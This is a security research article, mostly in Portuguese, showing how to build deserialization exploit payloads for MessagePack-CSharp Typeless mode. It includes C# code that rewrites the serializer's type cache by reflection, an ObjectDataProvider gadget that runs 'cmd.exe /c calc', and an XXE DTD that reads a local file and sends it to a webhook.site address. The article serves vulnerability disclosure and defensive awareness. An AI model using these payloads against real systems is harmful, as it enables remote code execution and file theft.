Gerando cargas de desserialização para o modo sem tipo do MessagePack C#
Apr 10, 2023
O modo sem tipo do MessagePack-CSharp permite a serialização polimórfica incorporando informações completas sobre o tipo, incluindo campos privados, o que o torna poderoso, mas inseguro para dados não confiáveis. Como a desserialização depende da reflexão e dos setters de propriedades automáticos, os atacantes podem criar cargas úteis que acionam a execução de código ou ataques XXE ao abusar de cadeias de gadgets conhecidas. Mesmo com as opções de segurança reforçadas do MessagePack ativadas, o modo sem tipo continua sendo fundamentalmente inseguro e nunca deve ser usado com entradas não confiáveis.
MessagePack-CSharp é uma biblioteca de serialização de alto desempenho que simplifica o processo de serialização e desserialização de objetos complexos. Muitos desenvolvedores .NET preferem o MessagePack porque é mais rápido e produz uma saída menor do que outros formatos de serialização, como XML ou JSON.
MessagePack-CSharp offers a feature called Typeless mode, which enables dynamic, polymorphic serialization and deserialization of objects without prior knowledge of their types. This capability is particularly beneficial in situations where the object’s type is only known at runtime, allowing developers to serialize and deserialize objects without the need to decorate classes with attributes. Typeless mode is capable of serializing almost any type, including public and private properties and fields.
Com a descontinuação do BinaryFormatter, os desenvolvedores podem buscar alternativas como o modo sem tipo do MessagePack, pois oferece funcionalidade semelhante.
A documentação do MessagePack aconselha contra o uso do modo sem tipo com dados não confiáveis, pois isso pode levar a problemas de segurança. Este artigo ilustra esses problemas mostrando como criar cargas úteis de exploração de desserialização para o modo sem tipo do MessagePack.
Serializando um objeto usando o Modo Sem Tipo
namespace SomeLibrary
{
public class SomeClass
{
private string _privateField;
public string PublicProperty { get; set; }
public string PrivateProperty { get; private set; }
public void SetPrivateProperty(string pPrivateProperty)
=> PrivateProperty = pPrivateProperty;
public void SetPrivateField(string pPrivateField)
=> _privateField = pPrivateField;
}
}
namespace MessagePackTypelessDemo
{
class Program
{
static void Main()
{
var obj = new SomeLibrary.SomeClass { PublicProperty = "ABCDEFG" };
obj.SetPrivateProperty("HIJKLMNOP");
obj.SetPrivateField("QRSTUVWXYZ");
System.IO.File.WriteAllBytes(
"serialized.bin",
MessagePack.MessagePackSerializer.Typeless.Serialize(obj));
}
}
}
É importante notar que os dados serializados incluem valores de propriedades e campos privados, bem como o AssemblyQualifiedName (AQN) de SomeClass. Durante a desserialização, o MessagePack fará referência a essas informações de tipo para garantir que esse tipo de objeto exato seja construído e populado corretamente.
Figura 1. Visualização hexadecimal de dados serializados sem tipo do MessagePack
Durante a desserialização, o MessagePack aproveita a reflexão para invocar um construtor padrão que não aceita parâmetros. Se um construtor padrão não estiver presente, a desserialização falhará. Além disso, a reflexão é usada para chamar os setters de propriedades e atribuir valores aos campos.
Implicações de segurança da desserialização de dados não confiáveis
A documentação do MessagePack aborda as implicações de segurança associadas à desserialização de dados não confiáveis. A seção aconselha especificamente contra o uso do modo sem tipo com dados não confiáveis, pois isso pode resultar na desserialização de tipos inesperados, o que pode levar a vulnerabilidades de segurança.
A MessagePackSerializerOptions classe permite que os desenvolvedores configurem comportamentos específicos durante a serialização e deserialização, como o uso de compressão Lz4 e o tratamento de versões de assembly. A classe também define uma lista de tipos perigosos conhecidos que o MessagePack não deserializará. Se algum desses tipos estiver presente nos dados serializados, uma exceção será lançada e a deserialização será abortada. Esta lista atualmente contém dois tipos:
- Coleção de arquivos temporários do System.CodeDom.Compiler
- System.Management.IWbemClassObjectFreeThreaded
Opções de Serialização MessagePack também pode ser configurado para usar um modo mais seguro, destinado a lidar com dados não confiáveis, que introduz uma profundidade máxima do gráfico de objetos e um algoritmo de hash resistente a colisões. A documentação afirma que esse modo simplesmente endurece contra ataques comuns e não é totalmente seguro.
MessagePackSerializerOptions options =
TypelessContractlessStandardResolver.Options
.WithAllowAssemblyVersionMismatch(true)
.WithSecurity(MessagePackSecurity.UntrustedData);
return MessagePackSerializer.Typeless.Deserialize<object>(serializedBytes, options);
Apesar das limitações impostas, criar uma carga útil de gadget serializada que utilize invocações de configuradores de propriedades para iniciar ações privilegiadas, como a execução de código, continua sendo viável ao deserializar dados não confiáveis. Isso é alcançável desde que o gadget não esteja incluído na lista de tipos não permitidos.
Serializar diretamente um tipo de gadget instanciado pode ser problemático porque todas as propriedades e campos do tipo serão serializados sem a oportunidade de ignorar qualquer um deles. A deserialização do objeto pode resultar em um objeto mal configurado que pode causar problemas durante a instanciação, potencialmente resultando na falha da exploração. Além disso, com gadgets baseados em setters, os pesquisadores podem precisar executar a carga útil diretamente durante a criação do objeto.
Para evitar esses problemas, uma abordagem melhor seria criar um objeto substituto mínimo e serializá-lo como o verdadeiro tipo de gadget. Dessa forma, apenas as propriedades e campos necessários serão definidos durante a desserialização, reduzindo o risco de comportamentos indesejados.
Gerando uma carga útil do ObjectDataProvider para execução de código
O ObjectDataProvider gadget é um gadget de execução de código amplamente conhecido que aparece em numerosas cadeias de gadgets. Este artigo não detalhará os aspectos específicos de como o ObjectDataProvider funciona, pois o artigo de Alvaro Muñoz e Oleksandr Mirosh “Ataques JSON da sexta-feira 13” fornece uma explicação abrangente de seu funcionamento.
In short, the ObjectDataProvider can be used to call Process.Start with user-specified arguments by configuring the MethodName and ObjectInstance properties, which when setting either property invokes the supplied method name on the supplied object instance. Specifically, the MethodName property should be set to “Start” and the ObjectInstance property should be set to an instance of System.Diagnostics.Process. The filename and arguments can then be set via properties contained in the System.Diagnostics.ProcessStartInfo object, which is available as the Process object’s StartInfo property.
Passo 1. Especifique os tipos de substitutos
Os tipos substitutos precisam conter apenas as propriedades mínimas para resultar na execução do código. Para o ObjectDataProvider gadget, o gráfico de objetos precisa estar em conformidade com a seguinte especificação:
public class ObjectDataProviderSurrogate
{
public string MethodName { get; set; }
public object ObjectInstance { get; set; }
}
public class ProcessStartInfoSurrogate
{
public string FileName { get; set; }
public string Arguments { get; set; }
}
public class ProcessSurrogate
{
public ProcessStartInfoSurrogate StartInfo { get; set; }
}
Passo 2. Construa o objeto ObjectDataProviderSurrogate
Para gerar uma carga útil que executa “calc.exe”, primeiro construímos o ObjectDataProviderSurrogate objeto, definindo as propriedades conforme necessário para o real ObjectDataProvider objeto e usando substitutos adicionais quando necessário.
return new ObjectDataProviderSurrogate
{
MethodName = "Start",
ObjectInstance = new ProcessSurrogate
{
StartInfo = new ProcessStartInfoSurrogate
{
FileName = "cmd.exe",
Arguments = "/c calc"
}
}
};
Passo 3. Modificar o cache de tipo
O modo sem tipo do MessagePack não inclui funcionalidade para serializar um tipo como outro. Enquanto os desenvolvedores anteriormente podiam substituir o TypelessFormatter‘s BindToType delegado para alcançar isso, esse recurso foi removido durante uma refatoração significativa. No entanto, ainda podemos aproveitar alguns dos comportamentos internos do MessagePack para alcançar esse objetivo.
O TypelessFormatter utiliza um cache interno para armazenar informações de tipo para tipos processados anteriormente. Quando um tipo está presente no cache, o formatador ignora a recuperação do AQN para o tipo através da propriedade AssemblyQualifiedName e, em vez disso, retorna a string AQN em cache em forma de array de bytes, que é então incorporada nos dados serializados para identificar o tipo serializado.
public void Serialize(
ref MessagePackWriter writer,
object? value,
MessagePackSerializerOptions options)
{
// [Truncated]
Type type = value.GetType();
var typeNameCache = options.OmitAssemblyVersion
? ShortenedTypeNameCache
: FullTypeNameCache;
if (!typeNameCache.TryGetValue(type, out byte[]? typeName))
{
TypeInfo ti = type.GetTypeInfo();
if (ti.IsAnonymous() || UseBuiltinTypes.Contains(type))
{
typeName = null;
}
else
{
typeName = StringEncoding.UTF8.GetBytes(
this.BuildTypeName(type, options));
}
typeNameCache.TryAdd(type, typeName);
}
// Use typeName...
}
Ao adicionar tipos e suas respectivas strings AQN ao cache, garantimos que o serializador escreva as strings AQN especificadas enquanto processa esses objetos. Como o cache é privado, podemos utilizar reflexão para acessar a TryAdd método deste campo.
public static void SwapTypeCacheNames(IDictionary<Type, string> pNewTypeCacheEntries)
{
FieldInfo typeNameCacheField =
typeof(TypelessFormatter)
.GetField("FullTypeNameCache", BindingFlags.NonPublic | BindingFlags.Static);
MethodInfo addTypeCacheMethod =
typeNameCacheField.FieldType
.GetMethod("TryAdd", new[] { typeof(Type), typeof(byte[]) });
object typeNameCache = typeNameCacheField.GetValue(TypelessFormatter.Instance);
foreach (var typeSwap in pNewTypeCacheEntries)
{
addTypeCacheMethod.Invoke(
typeNameCache,
new object[]
{
typeSwap.Key,
System.Text.Encoding.UTF8.GetBytes(typeSwap.Value)
});
}
}
We can now add our types to the TypelessFormatter‘s internal type cache, along with the corresponding type names of the real objects. Because the TypelessFormatter is static, any subsequent serialize calls will use this modified type cache.
SwapTypeCacheNames(
new Dictionary<Type, string>
{
{
typeof(ObjectDataProviderSurrogate),
"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
},
{
typeof(ProcessSurrogate),
"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
},
{
typeof(ProcessStartInfoSurrogate),
"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
});
Passo 4. Serializar e desserializar a carga
Podemos confirmar que os dados serializados contêm os AQNs necessários para o ObjectDataProvider cadeia de gadgets, assim como apenas as propriedades e valores essenciais que permitem uma execução de código bem-sucedida. Ao desserializar, a carga útil acionará Process.Start, lançando calc.exe.
Figura 2. Visualização hexadecimal da carga útil do gadget ObjectDataProvider serializado
Figura 3. Exploração bem-sucedida durante a desserialização, lançando calc.exe
Essa funcionalidade de geração de payload também foi integrada ao projeto Ysoserial.NET para permitir que os pesquisadores gerem payloads MessagePack sem tipo para dados padrão e dados comprimidos com Lz4.
Figura 4. Gerando cargas úteis sem tipo do MessagePack com Ysoserial.NET
Limitações
Nas versões do MessagePack-CSharp anteriores à v2.3.75 (julho de 2021), não é possível alcançar a execução de código ao desserializar um ObjectDataProvider carga útil. Nessas versões, os setters de propriedades são chamados para um objeto mesmo que seus valores não estejam presentes nos dados serializados.
The ObjectDataProvider extends the System.Windows.Data.DataSourceProvider class. This class contains the protected property Dispatcher, which in earlier versions of MessagePack will be set to null.
protected Dispatcher Dispatcher
{
get { return _dispatcher; }
set
{
if (_dispatcher != value)
{
_dispatcher = value;
}
}
}
Como mencionado anteriormente, definir as propriedades ObjectInstance ou MethodName especificadas chamará um interno Atualizar método que leva à invocação do nome do método especificado na instância do objeto, desde que ambas as propriedades tenham sido definidas. Isso significa que, para uma invocação bem-sucedida, o Atualizar método deve ser chamado duas vezes — uma vez para a definição de cada propriedade.
At the end of each call to Refresh, a call is made to DataSourceProvider’s OnQueryFinished method, indicating that the query has finished. This method asserts that the Dispatcher property is not null.
protected virtual void OnQueryFinished(object newData, Exception error
DispatcherOperationCallback completionWork, object callbackArguments)
{
Invariant.Assert(Dispatcher != null);
if (Dispatcher.CheckAccess())
{
UpdateWithNewResult(error, newData, completionWork, callbackArguments);
}
else
{
Dispatcher.BeginInvoke(
DispatcherPriority.Normal, UpdateWithNewResultCallback,
new object[]
{
this, error, newData, completionWork, callbackArguments
});
}
}
Como o Dispatcher é nulo neste ponto, Invariant.Assert falhará, levando a uma chamada para Invariant.FailFast, o que termina o processo. Como isso ocorrerá na primeira chamada para Refresh, a execução do código não será possível.
Gerando um payload XmlDocument para a exfiltração de arquivos XXE
The XmlDocument class features the InnerXml string property that invokes XmlDocument‘s Load method with the supplied property value when set. For .NET versions below v4.5.2, this creates a potential vulnerability to XXE (XML External Entity) attacks, which can enable an attacker to exfiltrate files from the system to a remote location.
In .NET Framework versions v4.5.2 and later, the XmlResolver property of XmlDocument is set to null by default, which prevents the processing of XML entities. However, since MessagePack deserializes types with default constructors, it is possible to circumvent this protection by providing an XmlUrlResolver as the XmlResolver property. This creates a pathway for XXE scenarios in later versions from .NET Core through to .NET 7.
Passo 1. Especifique os tipos substitutos do XmlDocument
Especificamos as propriedades mínimas necessárias para realizar o ataque XXE. Observe que a propriedade XmlResolver é do tipo System.Object, em vez de XmlUrlResolverSurrogate. Isso força o MessagePack a incluir o AQN do tipo da propriedade XmlResolver, permitindo-nos utilizar o mecanismo de troca de tipos.
public class XmlDocumentSurrogate
{
public object XmlResolver { get; set; }
public string InnerXml { get; set; }
}
public class XmlUrlResolverSurrogate
{
}
Passo 2. Construa o objeto substituto XmlDocument
Para exfiltrar um arquivo na desserialização, primeiro precisamos preparar e hospedar um arquivo DTD, que será referenciado pelo XML carregado fornecido à propriedade InnerXml. Podemos usar o serviço gratuito de colagem de texto Pastebin para hospedar o arquivo DTD, pois permite acesso a arquivos brutos.
O DTD lerá o conteúdo do arquivo “C:\test.txt” (este exemplo de prova de conceito contém o texto “A1B2C3”) e passará o conteúdo como um parâmetro GET para um serviço web controlado por um atacante. Para este exemplo, usaremos o gratuito Webhook.Site serviço para capturar solicitações.
<!ENTITY % a SYSTEM "file:///C:\\test.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'https://webhook.site/865d77fe-b03e-4833-a68b-4f94a0c0dde8?%a;'>">
%b;
O XML que será carregado durante a desserialização fará referência a este arquivo DTD e invocará a expansão da entidade que resulta na solicitação GET.
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "https://pastebin.com/raw/CUc6fZ8N">
<foo>&c;</foo>
A construção completa do objeto substituto é então simplesmente uma questão de preencher o XmlDocumentSurrogatepropriedade InnerXml com o XML acima e definir a propriedade XmlResolver para o nosso XmlUrlResolverSurrogate tipo.
return new XmlDocumentSurrogate
{
XmlResolver = new XmlUrlResolverSurrogate(),
InnerXml = "<?xml version=\"1.0\"?>" +
"<!DOCTYPE foo SYSTEM \"https://pastebin.com/raw/CUc6fZ8N\">" +
"<foo>&c;</foo>"
};
Passo 3. Substitua as definições de tipo
Usando a mesma abordagem usada para gerar o ObjectDataProvider gadget, podemos usar o SwapTypeCacheNames função para substituir as informações do tipo substituto pelas informações do tipo para o real XmlDocument gadget.
SwapTypeCacheNames(
new Dictionary<Type, string>
{
{
typeof(XmlDocumentSurrogate),
"System.Xml.XmlDocument, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
},
{
typeof(XmlUrlResolverSurrogate),
"System.Xml.XmlUrlResolver, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
});
Passo 4. Serializar e desserializar a carga útil
The serialized data for the XmlDocument gadget chain contains the correct AQNs, including the necessary AQN for XmlUrlResolver. Upon deserialization, the payload will trigger a request for the attacker-hosted DTD. The DTD will then be used to extract the contents of “C:\Test.txt”, passing the contents to the webhook as a GET parameter.
Figura 5. Visualização hexadecimal da carga útil do gadget XmlDocument serializado
Figura 6. Serializando e desserializando a carga útil do gadget XmlDocument
Figura 7. Exfiltração bem-sucedida de arquivos XXE durante a desserialização
Limitações
As versões do MessagePack-CSharp anteriores à v2.3.75 (julho de 2021) impedem a execução de um ataque XXE durante a desserialização de um XmlDocument payload de gadget devido ao bug mencionado anteriormente, chamando os setters de propriedades para um objeto mesmo que não estejam presentes nos dados serializados.
O bug causa XmlDocumento setter da propriedade Value, herdado de System.Xml.XmlNode, a ser invocado. Este setter lança uma exceção independentemente do valor fornecido, fazendo com que o processo de desserialização termine antes que qualquer exfiltração de arquivos possa ocorrer.
public virtual string Value
{
get { return null; }
set
{
throw new InvalidOperationException(
string.Format(
CultureInfo.InvariantCulture,
Res.GetString(Res.Xdom_Node_SetVal), NodeType.ToString()));
}
}
Resumo
Este artigo fornece uma visão geral de um método simples para criar cargas úteis de exploração de deserialização no modo sem tipo do MessagePack. Dada a versatilidade do serializador em lidar não apenas com propriedades privadas, mas também com campos privados, é provável que existam mais gadgets para este serializador em comparação com seus homólogos mais restritivos.
A deserialização de dados não confiáveis apresenta um risco significativo de segurança, especialmente ao deserializar dados que definem o tipo de objeto embutido. Os desenvolvedores devem evitar usar o recurso sem tipo do MessagePack para deserializar dados não confiáveis; mesmo com todos os recursos de segurança ativados, não é seguro e não pode ser tornado seguro.
Agradecimentos
Agradecimentos especiais a Piotr Bazydlo (@chudyPB) por oferecer insights valiosos sobre as limitações da desserialização de cadeias de gadgets ObjectDataProvider em versões anteriores do MessagePack, que impedem uma exploração bem-sucedida.
Perguntas frequentes
Compartilhar em
Saiba Mais
Sobre o autor
Dane Evans
Engenheiro de Segurança de Aplicações Sênior
Como engenheiro de segurança de aplicativos na equipe de Pesquisa em Segurança da Netwrix, Dane tem mais de uma década de experiência em segurança de aplicativos e engenharia de software. Os principais interesses incluem segurança de aplicativos, o ciclo de vida do desenvolvimento de software (SDLC), pesquisa de vulnerabilidades e desenvolvimento de exploits.